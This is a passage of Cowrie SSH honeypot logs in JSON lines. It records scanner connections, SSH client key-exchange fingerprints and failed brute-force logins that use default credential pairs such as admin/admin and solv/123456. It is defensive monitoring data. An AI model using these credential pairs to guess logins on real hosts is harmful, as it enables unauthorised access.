,"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 7d98a1f3b2ced8dc56a19709a6c59fc3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:51.774573Z","src_ip":"185.246.130.20","session":"7e1c9d5eecac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":41714,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ab467801cf5","protocol":"ssh","message":"New connection: 92.118.39.76:41714 (159.203.135.109:22) [session: 8ab467801cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:58.726826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:58.749971Z","src_ip":"92.118.39.76","session":"8ab467801cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:58.828681Z","src_ip":"92.118.39.76","session":"8ab467801cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:04:59.219428Z","src_ip":"92.118.39.76","session":"8ab467801cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:00.634631Z","src_ip":"92.118.39.76","session":"8ab467801cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:07.035307Z","src_ip":"185.246.130.20","session":"7e1c9d5eecac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"0","password":"0","message":"login attempt [0/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:08.485458Z","src_ip":"185.246.130.20","session":"7e1c9d5eecac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:10.413567Z","src_ip":"185.246.130.20","session":"7e1c9d5eecac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:11.598779Z","src_ip":"185.246.130.20","session":"7e1c9d5eecac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58874,"dst_ip":"10.17.0.5","dst_port":22,"session":"02e3928a9fbf","protocol":"ssh","message":"New connection: 2.57.122.208:58874 (10.17.0.5:22) [session: 02e3928a9fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:36.474717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:36.540608Z","src_ip":"2.57.122.208","session":"02e3928a9fbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:36.645859Z","src_ip":"2.57.122.208","session":"02e3928a9fbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:37.068192Z","src_ip":"2.57.122.208","session":"02e3928a9fbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:05:38.174121Z","src_ip":"2.57.122.208","session":"02e3928a9fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.201","src_port":59668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5300959c978c","protocol":"ssh","message":"New connection: 147.185.132.201:59668 (10.17.0.5:22) [session: 5300959c978c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:01.540455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:02.654236Z","src_ip":"147.185.132.201","session":"5300959c978c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:03.808105Z","src_ip":"147.185.132.201","session":"5300959c978c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:10.529138Z","src_ip":"147.185.132.201","session":"5300959c978c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":35548,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d256d0ff645","protocol":"ssh","message":"New connection: 92.118.39.56:35548 (10.17.0.5:22) [session: 9d256d0ff645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:31.328979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:31.333294Z","src_ip":"92.118.39.56","session":"9d256d0ff645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:31.439971Z","src_ip":"92.118.39.56","session":"9d256d0ff645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:31.755682Z","src_ip":"92.118.39.56","session":"9d256d0ff645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:06:32.861210Z","src_ip":"92.118.39.56","session":"9d256d0ff645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":49292,"dst_ip":"159.203.135.109","dst_port":22,"session":"4830b855866a","protocol":"ssh","message":"New connection: 92.118.39.76:49292 (159.203.135.109:22) [session: 4830b855866a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:06.324076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:06.328363Z","src_ip":"92.118.39.76","session":"4830b855866a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:06.431977Z","src_ip":"92.118.39.76","session":"4830b855866a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:06.768288Z","src_ip":"92.118.39.76","session":"4830b855866a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:07.872932Z","src_ip":"92.118.39.76","session":"4830b855866a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":48446,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f3aee54b35","protocol":"ssh","message":"New connection: 103.203.57.2:48446 (10.17.0.5:22) [session: e4f3aee54b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:17.358176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:17.362824Z","src_ip":"103.203.57.2","session":"e4f3aee54b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:17.373688Z","src_ip":"103.203.57.2","session":"e4f3aee54b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:27.358512Z","src_ip":"103.203.57.2","session":"e4f3aee54b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52354,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea50c948f38","protocol":"ssh","message":"New connection: 2.57.122.208:52354 (10.17.0.5:22) [session: bea50c948f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:46.825562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:46.910810Z","src_ip":"2.57.122.208","session":"bea50c948f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:47.011469Z","src_ip":"2.57.122.208","session":"bea50c948f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:47.728187Z","src_ip":"2.57.122.208","session":"bea50c948f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:07:48.866048Z","src_ip":"2.57.122.208","session":"bea50c948f38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":40862,"dst_ip":"10.17.0.5","dst_port":22,"session":"63590b6228c9","protocol":"ssh","message":"New connection: 92.118.39.56:40862 (10.17.0.5:22) [session: 63590b6228c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:31.982220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:08:31.986438Z","src_ip":"92.118.39.56","session":"63590b6228c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-s